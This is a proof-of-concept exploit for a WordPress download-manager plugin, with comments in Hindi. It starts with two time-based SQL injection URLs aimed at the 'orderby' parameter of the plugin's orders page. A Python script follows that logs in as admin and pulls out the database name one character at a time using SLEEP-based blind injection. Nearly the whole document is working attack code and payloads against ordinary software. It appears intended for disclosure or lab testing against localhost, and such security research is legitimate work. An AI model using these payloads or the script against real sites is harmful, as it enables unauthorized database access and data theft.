http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))

http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))

import re
import time
import string
import requests

## प्रॉक्सी सेट करने के लिए, नीचे सर्वर पता दर्ज करें।
PROXY_SERVER = None
proxies = {
    "https": PROXY_SERVER,
    "http": PROXY_SERVER,
}

SLEEP_TIMER = 1

def __login_get_session(login_id, login_pw):
    session = requests.session()
    data = {
        "log": login_id,
        "pwd": login_pw,
        "wp-submit": "Log In",
        "testcookie": 1
    }
    resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
    if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
        print(f" |- खाते {login_id} से सफलतापूर्वक लॉगिन किया गया.")
        return session
    else:
        raise Exception(f"[-] लॉगिन करने में विफल.")

def poc_get_db_length(session):
    length = 1
    while True:
        payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
        params = {
            "post_type": "wpdmpro",
            "page": "orders",
            "orderby": payload
        }
        start_time = time.time()
        session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)

        if (time.time() - start_time) < SLEEP_TIMER:
            print(f" |- डेटाबेस नाम की लंबाई {length} से अधिक है.")
            length += 1
        else:
            print(f" |- डेटाबेस नाम की लंबाई: {length}")
            break

    return length 
    

def poc_get_db_name(session, db_length):
    
    db_name = ""
    for i in range(1, db_length+1):
        for char in string.ascii_letters + string.digits:
            payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
            params = {
                "post_type": "wpdmpro",
                "page": "orders",
                "orderby": payload
            }
            start_time = time.time()
            session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)

            if (time.time() - start_time) > SLEEP_TIMER:
                db_name += char
                print(f" |- डेटाबेस नाम: {db_name.ljust(db_length, '*')}")
                break
    
    print(f" |- डेटाबेस नाम सफलतापूर्वक निकाला गया: {db_name}")

def poc():
    ####
    ## 1. प्रशासक के रूप में लॉगिन करें
    ####
    print(f"[+] प्रशासक खाते से लॉगिन किया जा रहा है.")
    print(f" |- खाता: {ADMIN_ID}, पासवर्ड: {ADMIN_PW}")
    admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
    admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
    
    ###
    ## 2. डेटाबेस नाम की लंबाई प्राप्त करें
    ###
    print(f"[+] डेटाबेस नाम की लंबाई प्राप्त की जा रही है.")
    db_length = poc_get_db_length(admin_session)

    ###
    ## 3. डेटाबेस नाम प्राप्त करें
    ###
    print(f"[+] डेटाबेस नाम प्राप्त किया जा रहा है.")
    poc_get_db_name(admin_session, db_length)

if __name__ == "__main__":

    ## वर्डप्रेस लक्ष्य
    TARGET = "http://localhost:8080"

    ## प्रशासक आईडी/पासवर्ड
    ADMIN_ID = "admin"
    ADMIN_PW = "admin"

    poc()